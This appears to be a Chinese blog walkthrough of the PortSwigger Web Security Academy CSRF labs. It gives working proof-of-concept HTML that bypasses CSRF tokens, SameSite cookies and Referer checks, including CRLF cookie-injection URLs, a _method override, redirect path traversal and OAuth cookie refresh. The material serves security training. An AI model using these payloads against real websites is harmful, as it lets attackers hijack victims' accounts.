burp靶场--CSRF

burp靶场–CSRF

https://portswigger.net/web-security/csrf#what-is-csrf

### 什么是 CSRF?
跨站请求伪造(也称为 CSRF)是一种 Web 安全漏洞,允许攻击者诱导用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。

### CSRF 攻击会产生什么影响?
在成功的 CSRF 攻击中,攻击者会导致受害用户无意中执行某项操作。例如,这可能是更改其帐户上的电子邮件地址、更改其密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中具有特权角色,那么攻击者可能能够完全控制应用程序的所有数据和功能。

### CSRF 是如何工作的?
要实现 CSRF 攻击,必须满足三个关键条件:

相关行动。攻击者有理由诱发应用程序内的某个操作。这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户自己的密码)。
基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制可以跟踪会话或验证用户请求。
没有不可预知的请求参数。执行操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不易受到攻击。
例如,假设应用程序包含一个允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作时,他们会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com
这满足了CSRF所需的条件:

攻击者会对更改用户帐户上的电子邮件地址的操作感兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
应用程序使用会话 cookie 来识别发出请求的用户。没有其他令牌或机制来跟踪用户会话。
攻击者可以轻松确定执行操作所需的请求参数的值。
具备这些条件后,攻击者就可以构建包含以下 HTML 的网页:

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="pwned@evil-user.net" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
如果受害者用户访问攻击者的网页,将会发生以下情况:

攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含其会话 cookie(假设未使用 SameSite cookie )。
易受攻击的网站将以正常方式处理该请求,将其视为由受害用户发出,并更改他们的电子邮件地址。

### 如何构建CSRF攻击
手动创建 CSRF 漏洞所需的 HTML 可能很麻烦,特别是在所需的请求包含大量参数或请求中存在其他怪癖的情况下。构建 CSRF 漏洞的最简单方法是使用Burp Suite Professional内置的CSRF PoC 生成器:

在 Burp Suite Professional 中的任意位置选择您想要测试或利用的请求。
从右键单击上下文菜单中,选择参与工具/生成 CSRF PoC。
Burp Suite 将生成一些 HTML 来触发所选请求(减去 cookie,这些 cookie 将由受害者的浏览器自动添加)。
您可以调整 CSRF PoC 生成器中的各种选项来微调攻击的各个方面。在某些不寻常的情况下,您可能需要执行此操作,以处理请求的奇怪功能。
将生成的 HTML 复制到网页中,在登录到存在漏洞的网站的浏览器中查看,并测试是否成功发出预期请求以及是否发生所需操作。

### 如何实施 CSRF 漏洞利用
跨站点请求伪造攻击的传递机制本质上与反射型 XSS 相同。通常,攻击者会将恶意 HTML 放置到他们控制的网站上,然后诱导受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供网站链接来完成。或者,如果攻击发生在流行的网站中(例如,在用户评论中),他们可能只是等待用户访问该网站。

请注意,一些简单的 CSRF 漏洞利用 GET 方法,并且可以完全独立于易受攻击的网站上的单个 URL。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,那么独立攻击将如下所示:

<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">

### 针对 CSRF 的常见防御
如今,成功查找和利用 CSRF 漏洞通常需要绕过目标网站、受害者浏览器或两者部署的反 CSRF 措施。您将遇到的最常见的防御如下:

CSRF 令牌- CSRF 令牌是由服务器端应用程序生成并与客户端共享的唯一、秘密且不可预测的值。当尝试执行敏感操作(例如提交表单)时,客户端必须在请求中包含正确的 CSRF 令牌。这使得攻击者很难代表受害者构建有效的请求。

SameSite cookie - SameSite 是一种浏览器安全机制,用于确定何时将网站的 cookie 包含在源自其他网站的请求中。由于执行敏感操作的请求通常需要经过身份验证的会话 cookie,因此适当的 SameSite 限制可能会阻止攻击者跨站点触发这些操作。自 2021 年起,ChromeLax默认强制执行 SameSite 限制。由于这是提议的标准,我们预计其他主要浏览器将来也会采用这种行为。

基于 Referer 的验证- 某些应用程序使用 HTTP Referer 标头来尝试防御 CSRF 攻击,通常是通过验证请求是否源自应用程序自己的域。这通常不如 CSRF 令牌验证有效。

有关每种防御措施的更详细描述以及如何绕过它们,请查看以下材料。其中包括交互式实验室,可让您在现实的、故意易受攻击的目标上练习所学知识。

实验1:无防御措施的 CSRF 漏洞

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。
为了解决这个实验室问题,请制作一些 HTML,使用CSRF 攻击来更改查看者的电子邮件地址并将其上传到您的漏洞利用服务器。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
如果您使用的是Burp Suite Professional,请右键单击请求并选择参与工具/生成 CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。

或者,如果您使用的是Burp Suite Community Edition,请使用以下 HTML 模板。您可以通过右键单击并选择“复制 URL”来获取请求 URL。

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>
转到漏洞利用服务器,将漏洞利用 HTML 粘贴到“正文”部分,然后单击“存储”。
要验证该漏洞是否有效,请通过单击“查看漏洞”自行尝试,然后检查生成的 HTTP 请求和响应。
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
单击“交付给受害者”以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
保存为html代码,然后托管到可控的攻击者服务器上,最后将html链接发送给受害者等待受害者点击响应:
在这里插入图片描述
托管到攻击者服务器,模拟受害者点击链接:
在这里插入图片描述
在这里插入图片描述

实验2:CSRF中令牌验证取决于请求方法【请求方法绕过csrf 令牌校验】

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它尝试阻止 CSRF 攻击,但仅对某些类型的请求进行防御。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察,如果更改参数的值,csrf则请求将被拒绝。
使用上下文菜单上的“更改请求方法”将其转换为 GET 请求,并观察 CSRF 令牌不再经过验证。
如果您使用的是Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择参与工具/生成 CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。

或者,如果您使用的是Burp Suite Community Edition,请使用以下 HTML 模板。您可以通过右键单击并选择“复制 URL”来获取请求 URL。

<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>
转到漏洞利用服务器,将漏洞利用 HTML 粘贴到“正文”部分,然后单击“存储”。
要验证该漏洞是否有效,请通过单击“查看漏洞”并检查生成的 HTTP 请求和响应来亲自尝试。
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验3:CSRF中令牌验证取决于令牌是否存在

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察,如果更改参数的值,csrf则请求将被拒绝。
完全删除该csrf参数并观察请求现在已被接受。
如果您使用的是Burp Suite Professional,请右键单击请求,然后从上下文菜单中选择参与工具/生成 CSRF PoC。启用包含自动提交脚本的选项,然后单击“重新生成”。

或者,如果您使用的是Burp Suite Community Edition,请使用以下 HTML 模板。您可以通过右键单击并选择“复制 URL”来获取请求 URL。

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
    document.forms[0].submit();
</script>
转到漏洞利用服务器,将漏洞利用 HTML 粘贴到“正文”部分,然后单击“存储”。
要验证该漏洞是否有效,请通过单击“查看漏洞”并检查生成的 HTTP 请求和响应来亲自尝试。
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验4:CSRF中令牌不与用户会话绑定

自己注册两个账户,在csrf没有绑定到用户会话的功能:如修改邮验证存在csrf 替换,以使用自己账户请求的csrf token给任意账户使用,造成了csrf攻击。

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它使用令牌来尝试防止 CSRF 攻击,但它们没有集成到站点的会话处理系统中。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭证如下:
wiener:peter
carlos:montoya

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并拦截生成的请求。
记下 CSRF 令牌的值,然后删除请求。
打开私人/隐身浏览器窗口,登录到您的其他帐户,然后将更新电子邮件请求发送到 Burp Repeater。
请注意,如果您将 CSRF 令牌与其他帐户的值交换,则请求将被接受。
创建并托管概念验证漏洞利用,如CSRF 漏洞解决方案中所述,无需防御实验室。请注意,CSRF 令牌是一次性的,因此您需要添加一个新的令牌。
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

A账户:wiener:peter
B账户:carlos:montoya
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
将生成的csrf poc放置于自己控制的web服务器上,模拟攻击目标站点的其他用户:
注意:CSRF令牌是一次性的,因此需要添加一个新令牌,刷新页面再次请求,就是新的了
在这里插入图片描述
在这里插入图片描述

实验5:CSRF中令牌与非会话cookie绑定

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并未完全集成到站点的会话处理系统中。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计攻击。凭证如下:
wiener:peter
carlos:montoya

### 使用操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察到更改sessioncookie 会使您退出,但更改csrfKeycookie 只会导致 CSRF 令牌被拒绝。这表明csrfKeycookie 可能并未与会话严格绑定。
打开私人/隐身浏览器窗口,登录到您的其他帐户,然后将新的更新电子邮件请求发送到 Burp Repeater。
请注意,如果您将csrfKeycookie 和csrf参数从第一个帐户交换到第二个帐户,则请求将被接受。
关闭中继器选项卡和隐身浏览器。
返回原始浏览器,执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,因此您可以使用它向受害用户的浏览器中注入 cookie。
创建一个 URL,利用此漏洞将您的csrfKeycookie 注入受害者的浏览器中:

/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None
创建并托管概念验证漏洞利用,如CSRF 漏洞解决方案中所述,无需防御实验室,确保包含 CSRF 令牌。应根据电子邮件更改请求创建漏洞利用程序。
删除自动提交<script>块,并添加以下代码来注入 cookie:

<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

步骤1:登陆两个账户,将账户A的csrfkey与csrf值替换给第二个账户B中使用,用来请求修改邮箱地址,修改成功,但是由于cookie被修改会导致账户退出,并且发现搜索功能存在cookie注入【注入的数据可以修改客户端cookie设置】,所以结合
csrf可以绕过cookie检测实现csrf攻击。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
B账户在火狐浏览器隐私窗口登陆(ctrl+shift+p):请求修改邮箱地址:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
制作恶意的csrf攻击poc:
在这里插入图片描述
使用账户A的修改邮箱地址请求包生成poc:
在这里插入图片描述

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a67001503114eb480e5e69d00990015.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111testw3&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="yzzT7ctryukzlI9yQ5G98mZ2x8SZTT4z" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


### 将img标签插入poc代码:用户修改csrf的csrfkey
<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
### 我的是:
<img src="https://0a67001503114eb480e5e69d00990015.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=kz7lhq6mL5Kjcz5fTg53zw59UUamm7Fj%3b%20SameSite=None" onerror="document.forms[0].submit()">

## 最终:
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a67001503114eb480e5e69d00990015.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111testw3&#64;qq&#46;com" />
      <input type="hidden" name="csrf" value="yzzT7ctryukzlI9yQ5G98mZ2x8SZTT4z" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://0a67001503114eb480e5e69d00990015.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=kz7lhq6mL5Kjcz5fTg53zw59UUamm7Fj%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

在这里插入图片描述
在这里插入图片描述

实验6:CSRF中token在cookie中重复

应用程序不校验csrf的有效性,只是对比body中与cookie中csrf的值是否相同,相同就接受请求,由于搜索功能没有csrf保护,并且存在cookie注入,所以可以使用搜索中cookie注入修改cookie的csrf与bodycsrf一致造成csrf攻击。

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它尝试使用不安全的“双重提交”CSRF 预防技术。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 使用操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过与csrfcookie 进行比较来验证。
执行搜索,将生成的请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,因此您可以使用它向受害用户的浏览器中注入 cookie。
创建一个利用此漏洞将虚假csrfcookie 注入受害者浏览器的 URL:

/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None
创建并托管一个概念验证漏洞,如 CSRF 漏洞解决方案中所述,无需防御实验室,确保您的 CSRF 令牌设置为“假”。应根据电子邮件更改请求创建漏洞利用程序。
删除自动提交<script>块,并添加以下代码来注入 cookie 并提交表单:

<img src="https://YOUR-LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修改成功:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最终poc:


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a4d006403a3455381aa2f07004100b4.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="111111o&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="fake" />
      <input type="submit" value="Submit request" />
    </form>
	<img src="https://0a4d006403a3455381aa2f07004100b4.web-security-academy.net/?search=aaa/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
  </body>
</html>


将代码托管到自己控制的web服务器:

在这里插入图片描述
在这里插入图片描述

实验7:通过方法覆盖绕过 SameSite Lax

### 使用要求:
该实验室的更改电子邮件功能容易受到 CSRF 的攻击。要解决该实验室问题,请执行CSRF 攻击,更改受害者的电子邮件地址。您应该使用提供的漏洞利用服务器来托管您的攻击。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 使用操作:
在 Burp 的浏览器中,登录您自己的帐户并更改您的电子邮件地址。
在 Burp 中,转到代理 > HTTP 历史记录选项卡。
研究该POST /my-account/change-email请求并注意它不包含任何不可预测的令牌,因此如果您可以绕过 SameSite cookie 限制,则可能容易受到 CSRF 的攻击。
查看对您的POST /login请求的响应。请注意,网站在设置会话 cookie 时没有明确指定任何 SameSite 限制。因此,浏览器将使用默认的Lax限制级别。
请注意,这意味着会话 cookie 将在跨站点请求中发送GET,只要它们涉及顶级导航。

绕过 SameSite 限制
将POST /my-account/change-email请求发送到 Burp Repeater。
在 Burp Repeater 中,右键单击请求并选择Change request method。Burp 自动生成等效GET请求。
发送请求。请注意,端点仅允许POST请求。
_method尝试通过将参数添加到查询字符串 来重写该方法:
GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1
发送请求。观察这似乎已被服务器接受。
在浏览器中,转到您的帐户页面并确认您的电子邮件地址已更改。

在这里插入图片描述
查看对POST /login请求的响应,网站在设置会话Cookie时没有明确指定任何SameSite限制。因此,浏览器将使用默认的Lax限制级别。

这意味着会话cookie将在跨站点GET请求中发送,只要它们涉及顶级导航。

在这里插入图片描述
发送POST /my-account/change-email请求到BP的repeater
在Burp Repeater中,右键单击请求并选择Change request method(更改请求方法)。Burp会自动生成一个等价的GET请求。发送请求,观察只允许POST请求。
在这里插入图片描述

### 变更请求方法,在get中使用参数说明用POST处理,并用@分割到web-security-academy.net:
GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1

在这里插入图片描述
在自己控制的服务器中创建恶意脚本负载:

以下是一种可能的方法:
<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email?email=pwneddd@web-security-academy.net&_method=POST";
</script>

我的是:
<script>
    document.location = "https://0aef00d703e0681e8102bc5700110023.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

在这里插入图片描述
在这里插入图片描述

实验8:SameSite通过客户端重定向进行严格绕过【略…】

### 实验要求:
该实验室的更改电子邮件功能容易受到 CSRF 的攻击。要解决该实验室问题,请执行CSRF 攻击,更改受害者的电子邮件地址。您应该使用提供的漏洞利用服务器来托管您的攻击。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
在 Burp 的浏览器中,登录您自己的帐户并更改您的电子邮件地址。

在 Burp 中,转到代理 > HTTP 历史记录选项卡。

研究该POST /my-account/change-email请求并注意它不包含任何不可预测的令牌,因此如果您可以绕过任何SameSite cookie 限制,则可能容易受到 CSRF 的攻击。

查看对您的POST /login请求的响应。请注意,网站SameSite=Strict在设置会话 cookie 时明确指定。这可以防止浏览器在跨站点请求中包含这些 cookie。

确定合适的小工具
在浏览器中,转到一篇博客文章并发表任意评论。请注意,您最初会被发送到确认页面/post/comment/confirmation?postId=x,但几秒钟后,您会返回到博客文章。

在 Burp 中,转到代理历史记录,并注意此重定向是使用导入的 JavaScript 文件在客户端处理的/resources/js/commentConfirmationRedirect.js。

研究 JavaScript 并注意它使用postId查询参数来动态构建客户端重定向的路径。

在代理历史记录中,右键单击请求GET /post/comment/confirmation?postId=x并选择复制 URL。

在浏览器中,访问此 URL,但将postId参数更改为任意字符串。

/post/comment/confirmation?postId=foo
请注意,在客户端 JavaScript 尝试将您重定向到包含注入字符串的路径(例如/post/foo.

尝试注入路径遍历序列,以便动态构造的重定向 URL 将指向您的帐户页面:

/post/comment/confirmation?postId=1/../../my-account
请注意,浏览器会规范化此 URL,并成功将您带到您的帐户页面。这确认您可以使用该postId参数引发GET对目标站点上任意端点的请求。

绕过 SameSite 限制
在浏览器中,转到漏洞利用服务器并创建一个脚本,引导查看者的浏览器发送GET您刚刚测试的请求。以下是一种可能的方法:

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
自行存储和查看漏洞利用程序。

请注意,当发生客户端重定向时,您仍然会看到登录帐户页面。这确认了浏览器在第二个请求中包含了经过身份验证的会话 cookie,即使最初的评论提交请求是从任意外部站点发起的。

创造一个漏洞
将POST /my-account/change-email请求发送到 Burp Repeater。

在 Burp Repeater 中,右键单击请求并选择Change request method。Burp 自动生成等效GET请求。

发送请求。请注意,端点允许您使用GET请求更改您的电子邮件地址。

返回漏洞利用服务器并更改漏洞postId利用中的参数,以便重定向导致浏览器发送GET更改电子邮件地址的等效请求:

<script>
    document.location = "https://YOUR-LAB-ID.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>
请注意,您需要包含参数并对“&”分隔符进行 URL 编码,以避免在初始设置请求中 submit破坏参数。postId

自行测试漏洞并确认您已成功更改电子邮件地址。

更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。

将漏洞利用程序传递给受害者。几秒钟后,实验室就解决了。

实验9:SameSite通过同级域严格绕过【略…】

实验10:通过cookie刷新绕过SameSite Lax【略…】

### 实验要求:
该实验室的更改电子邮件功能容易受到 CSRF 的攻击。要解决该实验室问题,请执行CSRF 攻击,更改受害者的电子邮件地址。您应该使用提供的漏洞利用服务器来托管您的攻击。
该实验室支持基于 OAuth 的登录。您可以使用以下凭据通过社交媒体帐户登录:wiener:peter

### 实验操作:

研究一下更改邮箱功能
在 Burp 的浏览器中,通过您的社交媒体帐户登录并更改您的电子邮件地址。

在 Burp 中,转到代理 > HTTP 历史记录选项卡。

研究该POST /my-account/change-email请求并注意它不包含任何不可预测的令牌,因此如果您可以绕过任何 SameSite cookie 限制,则可能容易受到 CSRF 的攻击。

查看OAuthGET /oauth-callback?code=[...]流程末尾的请求 响应。请注意,网站在设置会话 cookie 时没有明确指定任何 SameSite 限制。因此,浏览器将使用默认的限制级别。 Lax

尝试CSRF 攻击
在浏览器中,转到漏洞利用服务器。

使用以下模板创建基本的 CSRF 攻击以更改受害者的电子邮件地址:

<script>
    history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>
自行存储和查看漏洞利用程序。接下来发生的情况取决于您登录后经过的时间:

如果超过两分钟,您将通过 OAuth 流程登录,攻击将失败。在这种情况下,请立即重复此步骤。

如果您在不到两分钟前登录,则攻击成功并且您的电子邮件地址被更改。从“代理”>“HTTP 历史记录”选项卡中,找到该POST /my-account/change-email请求并确认包含您的会话 cookie,即使这是跨站点POST请求。

绕过 SameSite 限制
请注意,在浏览器中,如果您访问/social-login,这会自动启动完整的 OAuth 流程。如果您仍然与 OAuth 服务器有登录会话,则这一切都会在没有任何交互的情况下发生。

从代理历史记录中,请注意,每次完成 OAuth 流程时,目标站点都会设置一个新的会话 cookie,即使您已经登录也是如此。

返回到漏洞利用服务器。

更改 JavaScript,以便攻击首先通过强制受害者的浏览器访问 来刷新受害者的会话/social-login,然后在短暂暂停后提交电子邮件更改请求。以下是一种可能的方法:

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>
请注意,我们已在新窗口中打开/social-login,以避免在发送更改电子邮件请求之前离开漏洞利用程序。

自行存储和查看漏洞利用程序。请注意,初始请求被浏览器的弹出窗口阻止程序阻止。

观察发现,暂停之后,CSRF 攻击仍然发起。但是,只有在您的 cookie 设置后不到两分钟时,此操作才会成功。如果不是,攻击就会失败,因为弹出窗口阻止程序会阻止强制 cookie 刷新。

绕过弹出窗口拦截器
请注意,弹出窗口被阻止是因为您尚未手动与该页面交互。

调整该漏洞,使其诱导受害者单击页面,并且仅在用户单击后才打开弹出窗口。以下是一种可能的方法:

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
再次测试对自己的攻击,同时监视 Burp 中的代理历史记录。

出现提示时,单击该页面。这会触发 OAuth 流程并向您发出新的会话 cookie。5 秒后,请注意 CSRF 攻击已发送,并且请求POST /my-account/change-email包含您的新会话 cookie。

转到您的帐户页面并确认您的电子邮件地址已更改。

更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。

将漏洞发送给受害者以解决实验室问题。

实验11:CSRF中Referer验证取决于标头是否存在

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它尝试阻止跨域请求,但有不安全的回退。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察,如果更改 Referer HTTP 标头中的域,则请求将被拒绝。
完全删除 Referer 标头并观察请求现在已被接受。
创建并托管概念验证漏洞利用,如CSRF 漏洞解决方案中所述,无需防御实验室。包含以下 HTML 以抑制 Referer 标头:

<meta name="referrer" content="no-referrer">
更改漏洞利用中的电子邮件地址,使其与您自己的电子邮件地址不匹配。
存储漏洞,然后单击“交付给受害者”以解决实验室问题。

在这里插入图片描述
在这里插入图片描述
构造poc:
在这里插入图片描述

<meta name="referrer" content="no-referrer">
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a4d0059039e793e803d71db00c30038.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="aabbaaa1&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将恶意的html托管到自己控制的web服务器上:
在这里插入图片描述
在这里插入图片描述

实验12:引用验证失效的CSRF

### 实验要求:
该实验室的电子邮件更改功能容易受到 CSRF 的攻击。它尝试检测并阻止跨域请求,但检测机制可以被绕过。
要完成该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
打开 Burp 的浏览器并登录您的帐户。提交“更新电子邮件”表单,并在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater。请注意,如果更改 Referer HTTP 标头中的域,请求将被拒绝。
复制实验室实例的原始域并将其以查询字符串的形式附加到 Referer 标头。结果应该是这样的:

Referer: https://arbitrary-incorrect-domain.net?YOUR-LAB-ID.web-security-academy.net
发送请求并观察该请求现在已被接受。该网站似乎接受任何 Referer 标头,只要它在字符串中的某处包含预期的域即可。
创建 CSRF 概念验证漏洞,如CSRF 漏洞解决方案中所述,无需防御实验室,并将其托管在漏洞利用服务器上。编辑 JavaScript,使函数的第三个参数history.pushState()包含带有您的实验室实例 URL 的查询字符串,如下所示:

history.pushState("", "", "/?YOUR-LAB-ID.web-security-academy.net")
这将导致生成的请求中的 Referer 标头在查询字符串中包含目标站点的 URL,就像我们之前测试的那样。

如果您存储漏洞并通过单击“查看漏洞”进行测试,您可能会再次遇到“无效的 Referer header”错误。这是因为作为安全措施,许多浏览器现在默认从 Referer 标头中删除查询字符串。要覆盖此行为并确保请求中包含完整的 URL,请返回漏洞利用服务器并将以下标头添加到“Head”部分:

Referrer-Policy: unsafe-url
请注意,与普通的 Referer 标头不同,在这种情况下,“referrer”一词必须拼写正确。

